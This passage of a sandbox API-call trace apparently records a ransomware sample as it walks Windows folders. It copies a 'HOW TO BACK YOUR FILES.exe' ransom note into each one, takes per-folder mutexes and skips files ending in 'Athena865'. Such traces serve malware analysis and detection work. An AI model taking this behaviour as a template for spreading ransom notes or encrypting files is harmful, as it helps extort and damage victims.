returned 0x0 [0102.833] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Documents" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Documents") returned="C:\\Documents and Settings\\All Users\\Application Data\\Documents" [0102.833] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.833] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.834] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.834] GetLastError () returned 0x0 [0102.834] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.834] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.835] CloseHandle (hObject=0xf4) returned 1 [0102.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.835] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.835] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47519e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47519e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.835] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.836] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.836] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.836] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47519e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47519e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.836] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.836] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.836] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.836] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.836] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x420, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="")) returned 1 [0102.836] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.836] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.836] lstrcpyW (in: lpString1=0x241e8c6, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0102.836] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0102.836] lstrlenW (lpString="Athena865") returned 9 [0102.836] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.836] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.836] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.836] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0102.836] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.836] lstrcmpiW (lpString1="My Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.836] lstrcpyW (in: lpString1=0x241e8c6, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0102.836] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c578 [0102.836] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x90) returned 0x532e50 [0102.837] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0102.837] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0102.837] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.837] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0102.837] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.837] lstrcmpiW (lpString1="My Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.837] lstrcpyW (in: lpString1=0x241e8c6, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0102.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c590 [0102.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x96) returned 0x53dae0 [0102.838] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0102.838] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0102.838] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.838] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0102.838] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.838] lstrcmpiW (lpString1="My Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.838] lstrcpyW (in: lpString1=0x241e8c6, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0102.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546310 [0102.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x92) returned 0x53db80 [0102.838] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0102.838] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0102.839] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.839] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0102.839] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.839] ReleaseMutex (hMutex=0xec) returned 1 [0102.839] CloseHandle (hObject=0xec) returned 1 [0102.839] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Favorites" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Favorites") returned="C:\\Documents and Settings\\All Users\\Application Data\\Favorites" [0102.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5194d0 | out: hHeap=0x4f0000) returned 1 [0102.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c530 | out: hHeap=0x4f0000) returned 1 [0102.839] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Application Data\\Favorites") returned 62 [0102.839] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AC91D90B0CB16B9C96C430CF58AC16A9") returned 0xec [0102.840] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.840] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Favorites" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Favorites") returned="C:\\Documents and Settings\\All Users\\Application Data\\Favorites" [0102.840] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.840] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.840] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\favorites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.840] GetLastError () returned 0x0 [0102.840] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.841] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.841] CloseHandle (hObject=0xf4) returned 1 [0102.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.841] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.841] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Favorites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.842] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.842] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.842] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.842] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.842] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.844] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft" [0102.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519558 | out: hHeap=0x4f0000) returned 1 [0102.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c518 | out: hHeap=0x4f0000) returned 1 [0102.844] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft") returned 62 [0102.844] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A04024C144FD9E4EFEFDE19ADCEAA263") returned 0xec [0102.844] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.844] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft" [0102.844] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.844] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.845] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.845] GetLastError () returned 0x0 [0102.845] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.845] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.846] CloseHandle (hObject=0xf4) returned 1 [0102.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.846] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.846] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.846] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.846] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.846] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Assistance" | out: lpString1="Assistance") returned="Assistance" [0102.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c518 [0102.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x94) returned 0x53dc20 [0102.846] lstrcatW (in: lpString1="Assistance", lpString2="\\" | out: lpString1="Assistance\\") returned="Assistance\\" [0102.847] lstrcatW (in: lpString1="Assistance\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Assistance\\HOW TO BACK YOUR FILES.exe") returned="Assistance\\HOW TO BACK YOUR FILES.exe" [0102.847] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Assistance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\assistance\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.847] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4777b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0102.847] lstrcmpiW (lpString1="Crypto", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.847] lstrcmpiW (lpString1="Crypto", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.847] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Crypto" | out: lpString1="Crypto") returned="Crypto" [0102.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c530 [0102.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x532db8 [0102.847] lstrcatW (in: lpString1="Crypto", lpString2="\\" | out: lpString1="Crypto\\") returned="Crypto\\" [0102.847] lstrcatW (in: lpString1="Crypto\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Crypto\\HOW TO BACK YOUR FILES.exe") returned="Crypto\\HOW TO BACK YOUR FILES.exe" [0102.847] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.848] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0102.848] lstrcmpiW (lpString1="Device Stage", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.848] lstrcmpiW (lpString1="Device Stage", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.848] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Device Stage" | out: lpString1="Device Stage") returned="Device Stage" [0102.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546328 [0102.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x98) returned 0x53dcc0 [0102.848] lstrcatW (in: lpString1="Device Stage", lpString2="\\" | out: lpString1="Device Stage\\") returned="Device Stage\\" [0102.848] lstrcatW (in: lpString1="Device Stage\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Device Stage\\HOW TO BACK YOUR FILES.exe") returned="Device Stage\\HOW TO BACK YOUR FILES.exe" [0102.848] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Device Stage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\device stage\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.849] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0102.849] lstrcmpiW (lpString1="DeviceSync", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.849] lstrcmpiW (lpString1="DeviceSync", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.849] lstrcpyW (in: lpString1=0x241e8c6, lpString2="DeviceSync" | out: lpString1="DeviceSync") returned="DeviceSync" [0102.849] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546340 [0102.849] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x94) returned 0x53dd60 [0102.849] lstrcatW (in: lpString1="DeviceSync", lpString2="\\" | out: lpString1="DeviceSync\\") returned="DeviceSync\\" [0102.849] lstrcatW (in: lpString1="DeviceSync\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DeviceSync\\HOW TO BACK YOUR FILES.exe") returned="DeviceSync\\HOW TO BACK YOUR FILES.exe" [0102.849] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\DeviceSync\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\devicesync\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.850] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0102.850] lstrcmpiW (lpString1="DRM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.850] lstrcmpiW (lpString1="DRM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.850] lstrcpyW (in: lpString1=0x241e8c6, lpString2="DRM" | out: lpString1="DRM") returned="DRM" [0102.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546358 [0102.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x86) returned 0x514758 [0102.850] lstrcatW (in: lpString1="DRM", lpString2="\\" | out: lpString1="DRM\\") returned="DRM\\" [0102.850] lstrcatW (in: lpString1="DRM\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DRM\\HOW TO BACK YOUR FILES.exe") returned="DRM\\HOW TO BACK YOUR FILES.exe" [0102.850] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\DRM\\HOW TO BACK YOUR 